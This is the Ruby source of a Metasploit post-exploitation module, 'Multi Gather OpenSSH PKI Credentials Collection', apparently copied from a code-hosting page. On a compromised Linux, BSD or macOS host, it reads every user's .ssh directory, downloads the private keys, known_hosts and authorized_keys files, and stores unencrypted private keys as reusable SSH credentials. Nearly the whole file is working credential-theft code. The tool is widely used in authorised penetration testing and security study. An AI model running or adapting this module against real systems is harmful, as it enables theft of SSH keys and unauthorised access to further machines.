98 lines
2.7 KiB
Ruby
98 lines
2.7 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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require 'rex'
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require 'msf/core/post/file'
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require 'msf/core/post/common'
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require 'msf/core/post/unix'
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require 'sshkey'
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class Metasploit3 < Msf::Post
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include Msf::Post::File
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include Msf::Post::Common
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include Msf::Post::Unix
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def initialize(info={})
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super( update_info(info,
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'Name' => 'Multi Gather OpenSSH PKI Credentials Collection',
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'Description' => %q{
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This module will collect the contents of all users' .ssh directories on the targeted
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machine. Additionally, known_hosts and authorized_keys and any other files are also
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downloaded. This module is largely based on firefox_creds.rb.
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},
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'License' => MSF_LICENSE,
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'Author' => ['Jim Halfpenny'],
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'Platform' => ['linux', 'bsd', 'unix', 'osx'],
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'SessionTypes' => ['meterpreter', 'shell' ]
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))
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end
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def run
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print_status("Finding .ssh directories")
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paths = enum_user_directories.map {|d| d + "/.ssh"}
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# Array#select! is only in 1.9
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paths = paths.select { |d| directory?(d) }
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if paths.nil? or paths.empty?
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print_error("No users found with a .ssh directory")
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return
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end
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download_loot(paths)
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end
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def download_loot(paths)
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print_status("Looting #{paths.count} directories")
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paths.each do |path|
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path.chomp!
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if session.type == "meterpreter"
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sep = session.fs.file.separator
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files = session.fs.dir.entries(path)
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else
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# Guess, but it's probably right
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sep = "/"
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files = cmd_exec("ls -1 #{path}").split(/\r\n|\r|\n/)
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end
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path_array = path.split(sep)
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path_array.pop
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user = path_array.pop
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files.each do |file|
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next if [".", ".."].include?(file)
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data = read_file("#{path}#{sep}#{file}")
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file = file.split(sep).last
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loot_path = store_loot("ssh.#{file}", "text/plain", session, data,
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"ssh_#{file}", "OpenSSH #{file} File")
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print_good("Downloaded #{path}#{sep}#{file} -> #{loot_path}")
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# If the key is encrypted, this will fail and it won't be stored as a
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# cred. That's ok because we can't really use encrypted keys anyway.
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key = SSHKey.new(data, :passphrase => "") rescue nil
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if key and loot_path
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print_status("Saving private key #{file} as cred")
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cred_hash = {
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:host => session.session_host,
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:port => 22,
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:sname => 'ssh',
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:user => user,
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:pass => loot_path,
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:source_type => "exploit",
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:type => 'ssh_key',
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:proof => "KEY=#{key.fingerprint}",
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:duplicate_ok => true,
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:active => true
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}
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report_auth_info(cred_hash)
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end
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end
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end
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end
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end
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